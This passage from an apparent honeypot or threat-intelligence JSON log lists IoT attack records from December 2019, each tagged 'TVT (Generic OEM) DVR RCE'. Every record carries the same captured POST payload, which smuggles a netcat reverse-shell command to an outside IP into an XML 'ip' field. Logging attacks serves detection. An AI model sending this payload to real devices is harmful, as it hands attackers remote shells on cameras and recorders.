  3674.       "source_ip_address": "121.176.100.231",
  3675.       "country": "KR",
  3676.       "user_agent": "Help",
  3677.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3678.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3679.       "target_port": 8080,
  3680.       "protocol": "tcp",
  3681.       "tags": [
  3682.         {
  3683.           "cve": "",
  3684.           "category": "IoT",
  3685.           "description": "TVT (Generic OEM) DVR RCE"
  3686.         }
  3687.       ],
  3688.       "event_count": 7,
  3689.       "first_seen": "2019-12-22T07:32:17Z",
  3690.       "last_seen": "2019-12-22T07:32:17Z"
  3691.     },
  3692.     {
  3693.       "source_ip_address": "84.33.87.10",
  3694.       "country": "IT",
  3695.       "user_agent": "Help",
  3696.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3697.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3698.       "target_port": 8000,
  3699.       "protocol": "tcp",
  3700.       "tags": [
  3701.         {
  3702.           "cve": "",
  3703.           "category": "IoT",
  3704.           "description": "TVT (Generic OEM) DVR RCE"
  3705.         }
  3706.       ],
  3707.       "event_count": 1,
  3708.       "first_seen": "2019-12-22T06:17:28Z",
  3709.       "last_seen": "2019-12-22T06:17:28Z"
  3710.     },
  3711.     {
  3712.       "source_ip_address": "106.1.111.165",
  3713.       "country": "TW",
  3714.       "user_agent": "Help",
  3715.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3716.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3717.       "target_port": 8080,
  3718.       "protocol": "tcp",
  3719.       "tags": [
  3720.         {
  3721.           "cve": "",
  3722.           "category": "IoT",
  3723.           "description": "TVT (Generic OEM) DVR RCE"
  3724.         }
  3725.       ],
  3726.       "event_count": 1,
  3727.       "first_seen": "2019-12-22T05:48:01Z",
  3728.       "last_seen": "2019-12-22T05:48:01Z"
  3729.     },
  3730.     {
  3731.       "source_ip_address": "122.116.90.239",
  3732.       "country": "TW",
  3733.       "user_agent": "Help",
  3734.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3735.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3736.       "target_port": 8000,
  3737.       "protocol": "tcp",
  3738.       "tags": [
  3739.         {
  3740.           "cve": "",
  3741.           "category": "IoT",
  3742.           "description": "TVT (Generic OEM) DVR RCE"
  3743.         }
  3744.       ],
  3745.       "event_count": 1,
  3746.       "first_seen": "2019-12-22T05:45:17Z",
  3747.       "last_seen": "2019-12-22T05:45:17Z"
  3748.     },
  3749.     {
  3750.       "source_ip_address": "47.6.89.99",
  3751.       "country": "US",
  3752.       "user_agent": "Help",
  3753.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3754.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3755.       "target_port": 8000,
  3756.       "protocol": "tcp",
  3757.       "tags": [
  3758.         {
  3759.           "cve": "",
  3760.           "category": "IoT",
  3761.           "description": "TVT (Generic OEM) DVR RCE"
  3762.         }
  3763.       ],
  3764.       "event_count": 1,
  3765.       "first_seen": "2019-12-22T05:39:28Z",
  3766.       "last_seen": "2019-12-22T05:39:28Z"
  3767.     },
  3768.     {
  3769.       "source_ip_address": "187.202.133.235",
  3770.       "country": "MX",
  3771.       "user_agent": "Help",
  3772.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3773.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3774.       "target_port": 8080,
  3775.       "protocol": "tcp",
  3776.       "tags": [
  3777.         {
  3778.           "cve": "",
  3779.           "category": "IoT",
  3780.           "description": "TVT (Generic OEM) DVR RCE"
  3781.         }
  3782.       ],
  3783.       "event_count": 1,
  3784.       "first_seen": "2019-12-22T05:35:43Z",
  3785.       "last_seen": "2019-12-22T05:35:43Z"
  3786.     },
  3787.     {
  3788.       "source_ip_address": "14.46.217.114",
  3789.       "country": "KR",
  3790.       "user_agent": "Help",
  3791.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3792.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3793.       "target_port": 81,
  3794.       "protocol": "tcp",
  3795.       "tags": [
  3796.         {
  3797.           "cve": "",
  3798.           "category": "IoT",
  3799.           "description": "TVT (Generic OEM) DVR RCE"
  3800.         }
  3801.       ],
  3802.       "event_count": 1,
  3803.       "first_seen": "2019-12-22T05:35:16Z",
  3804.       "last_seen": "2019-12-22T05:35:16Z"
  3805.     },
  3806.     {
  3807.       "source_ip_address": "95.168.77.242",
  3808.       "country": "HU",
  3809.       "user_agent": "Help",
  3810.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3811.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3812.       "target_port": 88,
  3813.       "protocol": "tcp",
  3814.       "tags": [
  3815.         {
  3816.           "cve": "",
  3817.           "category": "IoT",
  3818.           "description": "TVT (Generic OEM) DVR RCE"
  3819.         }
  3820.       ],
  3821.       "event_count": 1,
  3822.       "first_seen": "2019-12-22T05:35:07Z",
  3823.       "last_seen": "2019-12-22T05:35:07Z"
  3824.     },
  3825.     {
  3826.       "source_ip_address": "60.50.239.243",
  3827.       "country": "MY",
  3828.       "user_agent": "Help",
  3829.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3830.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3831.       "target_port": 88,
  3832.       "protocol": "tcp",
  3833.       "tags": [
  3834.         {
  3835.           "cve": "",
  3836.           "category": "IoT",
  3837.           "description": "TVT (Generic OEM) DVR RCE"
  3838.         }
  3839.       ],
  3840.       "event_count": 111,
  3841.       "first_seen": "2019-12-22T05:27:42Z",
  3842.       "last_seen": "2019-12-22T05:27:42Z"
  3843.     },
  3844.     {
  3845.       "source_ip_address": "145.236.40.25",
  3846.       "country": "HU",
  3847.       "user_agent": "Help",
  3848.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3849.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3850.       "target_port": 80,
  3851.       "protocol": "tcp",
  3852.       "tags": [
  3853.         {
  3854.           "cve": "",
  3855.           "category": "IoT",
  3856.           "description": "TVT (Generic OEM) DVR RCE"
  3857.         }
  3858.       ],
  3859.       "event_count": 1,
  3860.       "first_seen": "2019-12-22T04:46:34Z",
  3861.       "last_seen": "2019-12-22T04:46:34Z"
  3862.     },
  3863.     {
  3864.       "source_ip_address": "189.170.19.181",
  3865.       "country": "MX",
  3866.       "user_agent": "Help",
  3867.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3868.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3869.       "target_port": 8080,
  3870.       "protocol": "tcp",
  3871.       "tags": [
  3872.         {
  3873.           "cve": "",
  3874.           "category": "IoT",
  3875.           "description": "TVT (Generic OEM) DVR RCE"
  3876.         }
  3877.       ],
  3878.       "event_count": 117,
  3879.       "first_seen": "2019-12-22T04:23:54Z",
  3880.       "last_seen": "2019-12-22T04:23:54Z"
  3881.     },
  3882.     {
  3883.       "source_ip_address": "189.144.40.61",
  3884.       "country": "MX",
  3885.       "user_agent": "Help",
  3886.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3887.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3888.       "target_port": 8000,
  3889.       "protocol": "tcp",
  3890.       "tags": [
  3891.         {
  3892.           "cve": "",
  3893.           "category": "IoT",
  3894.           "description": "TVT (Generic OEM) DVR RCE"
  3895.         }
  3896.       ],
  3897.       "event_count": 1,
  3898.       "first_seen": "2019-12-22T04:07:39Z",
  3899.       "last_seen": "2019-12-22T04:07:39Z"
  3900.     },
  3901.     {
  3902.       "source_ip_address": "201.97.243.94",
  3903.       "country": "MX",
  3904.       "user_agent": "Help",
  3905.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3906.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3907.       "target_port": 8080,
  3908.       "protocol": "tcp",
  3909.       "tags": [
  3910.         {
  3911.           "cve": "",
  3912.           "category": "IoT",
  3913.           "description": "TVT (Generic OEM) DVR RCE"
  3914.         }
  3915.       ],
  3916.       "event_count": 2,
  3917.       "first_seen": "2019-12-22T03:52:17Z",
  3918.       "last_seen": "2019-12-22T03:52:17Z"
  3919.     },
  3920.     {
  3921.       "source_ip_address": "187.137.140.107",
  3922.       "country": "MX",
  3923.       "user_agent": "Help",
  3924.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3925.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3926.       "target_port": 8080,
  3927.       "protocol": "tcp",
  3928.       "tags": [
  3929.         {
  3930.           "cve": "",
  3931.           "category": "IoT",
  3932.           "description": "TVT (Generic OEM) DVR RCE"
  3933.         }
  3934.       ],
  3935.       "event_count": 1,
  3936.       "first_seen": "2019-12-22T03:42:39Z",
  3937.       "last_seen": "2019-12-22T03:42:39Z"
  3938.     },
  3939.     {
  3940.       "source_ip_address": "96.41.35.18",
  3941.       "country": "US",
  3942.       "user_agent": "Help",
  3943.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3944.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3945.       "target_port": 81,
  3946.       "protocol": "tcp",
  3947.       "tags": [
  3948.         {
  3949.           "cve": "",
  3950.           "category": "IoT",
  3951.           "description": "TVT (Generic OEM) DVR RCE"
  3952.         }
  3953.       ],
  3954.       "event_count": 1,
  3955.       "first_seen": "2019-12-22T03:38:16Z",
  3956.       "last_seen": "2019-12-22T03:38:16Z"
  3957.     },
  3958.     {
  3959.       "source_ip_address": "200.78.207.54",
  3960.       "country": "MX",
  3961.       "user_agent": "Help",
  3962.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3963.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3964.       "target_port": 81,
  3965.       "protocol": "tcp",
  3966.       "tags": [
  3967.         {
  3968.           "cve": "",
  3969.           "category": "IoT",
  3970.           "description": "TVT (Generic OEM) DVR RCE"
  3971.         }
  3972.       ],
  3973.       "event_count": 122,
  3974.       "first_seen": "2019-12-22T03:37:31Z",
  3975.       "last_seen": "2019-12-22T03:37:31Z"
  3976.     },
  3977.     {
  3978.       "source_ip_address": "114.32.87.103",
  3979.       "country": "TW",
  3980.       "user_agent": "Help",
  3981.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  3982.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  3983.       "target_port": 8000,
  3984.       "protocol": "tcp",
  3985.       "tags": [
  3986.         {
  3987.           "cve": "",
  3988.           "category": "IoT",
  3989.           "description": "TVT (Generic OEM) DVR RCE"
  3990.         }
  3991.       ],
  3992.       "event_count": 2,
  3993.       "first_seen": "2019-12-22T02:58:19Z",
  3994.       "last_seen": "2019-12-22T02:58:19Z"
  3995.     },
  3996.     {
  3997.       "source_ip_address": "93.140.85.40",
  3998.       "country": "HR",
  3999.       "user_agent": "Help",
  4000.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4001.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4002.       "target_port": 88,
  4003.       "protocol": "tcp",
  4004.       "tags": [
  4005.         {
  4006.           "cve": "",
  4007.           "category": "IoT",
  4008.           "description": "TVT (Generic OEM) DVR RCE"
  4009.         }
  4010.       ],
  4011.       "event_count": 1,
  4012.       "first_seen": "2019-12-22T02:40:20Z",
  4013.       "last_seen": "2019-12-22T02:40:20Z"
  4014.     },
  4015.     {
  4016.       "source_ip_address": "78.186.185.104",
  4017.       "country": "TR",
  4018.       "user_agent": "Help",
  4019.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4020.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4021.       "target_port": 88,
  4022.       "protocol": "tcp",
  4023.       "tags": [
  4024.         {
  4025.           "cve": "",
  4026.           "category": "IoT",
  4027.           "description": "TVT (Generic OEM) DVR RCE"
  4028.         }
  4029.       ],
  4030.       "event_count": 2,
  4031.       "first_seen": "2019-12-22T01:57:40Z",
  4032.       "last_seen": "2019-12-22T01:57:40Z"
  4033.     },
  4034.     {
  4035.       "source_ip_address": "187.137.140.107",
  4036.       "country": "MX",
  4037.       "user_agent": "Help",
  4038.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4039.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4040.       "target_port": 88,
  4041.       "protocol": "tcp",
  4042.       "tags": [
  4043.         {
  4044.           "cve": "",
  4045.           "category": "IoT",
  4046.           "description": "TVT (Generic OEM) DVR RCE"
  4047.         }
  4048.       ],
  4049.       "event_count": 4,
  4050.       "first_seen": "2019-12-22T01:56:51Z",
  4051.       "last_seen": "2019-12-22T01:56:51Z"
  4052.     },
  4053.     {
  4054.       "source_ip_address": "93.47.154.33",
  4055.       "country": "IT",
  4056.       "user_agent": "Help",
  4057.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4058.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4059.       "target_port": 8000,
  4060.       "protocol": "tcp",
  4061.       "tags": [
  4062.         {
  4063.           "cve": "",
  4064.           "category": "IoT",
  4065.           "description": "TVT (Generic OEM) DVR RCE"
  4066.         }
  4067.       ],
  4068.       "event_count": 1,
  4069.       "first_seen": "2019-12-22T01:44:32Z",
  4070.       "last_seen": "2019-12-22T01:44:32Z"
  4071.     },
  4072.     {
  4073.       "source_ip_address": "62.28.99.1",
  4074.       "country": "PT",
  4075.       "user_agent": "Help",
  4076.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4077.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4078.       "target_port": 80,
  4079.       "protocol": "tcp",
  4080.       "tags": [
  4081.         {
  4082.           "cve": "",
  4083.           "category": "IoT",
  4084.           "description": "TVT (Generic OEM) DVR RCE"
  4085.         }
  4086.       ],
  4087.       "event_count": 1,
  4088.       "first_seen": "2019-12-22T01:27:13Z",
  4089.       "last_seen": "2019-12-22T01:27:13Z"
  4090.     },
  4091.     {
  4092.       "source_ip_address": "175.138.75.148",
  4093.       "country": "MY",
  4094.       "user_agent": "Help",
  4095.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4096.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4097.       "target_port": 81,
  4098.       "protocol": "tcp",
  4099.       "tags": [
  4100.         {
  4101.           "cve": "",
  4102.           "category": "IoT",
  4103.           "description": "TVT (Generic OEM) DVR RCE"
  4104.         }
  4105.       ],
  4106.       "event_count": 1,
  4107.       "first_seen": "2019-12-22T01:12:38Z",
  4108.       "last_seen": "2019-12-22T01:12:38Z"
  4109.     },
  4110.     {
  4111.       "source_ip_address": "5.11.142.27",
  4112.       "country": "TR",
  4113.       "user_agent": "Help",
  4114.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4115.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4116.       "target_port": 81,
  4117.       "protocol": "tcp",
  4118.       "tags": [
  4119.         {
  4120.           "cve": "",
  4121.           "category": "IoT",
  4122.           "description": "TVT (Generic OEM) DVR RCE"
  4123.         }
  4124.       ],
  4125.       "event_count": 4,
  4126.       "first_seen": "2019-12-22T00:45:28Z",
  4127.       "last_seen": "2019-12-22T00:45:28Z"
  4128.     },
  4129.     {
